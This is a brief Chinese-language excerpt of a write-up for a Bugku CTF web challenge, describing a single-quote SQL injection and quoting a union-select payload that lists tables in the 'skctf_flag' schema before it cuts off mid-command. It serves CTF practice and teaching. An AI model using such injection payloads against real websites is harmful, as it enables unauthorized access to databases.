BUGKU_CTF WEB 20題writeup

首先知道該頁面存在sql注入漏洞。 先判斷是否存在注入點。發現是單引號閉合注入。 通過頁面回顯信息判斷當前列數 判斷頁面中可以回顯的點 爆庫名 使用命令：0’ union select table_name,2,3,4 from information_schema.tables where table_schema=‘skctf_flag’#爆表名 使用命令‘：0’ union select c

>>阅读原文<<